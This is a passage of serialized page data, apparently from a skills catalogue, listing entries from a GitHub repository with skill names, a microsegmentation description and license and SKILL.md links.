TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":125,"sourceHtmlUrl":126,"categories":127,"keywords":128,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":130,"name":131,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]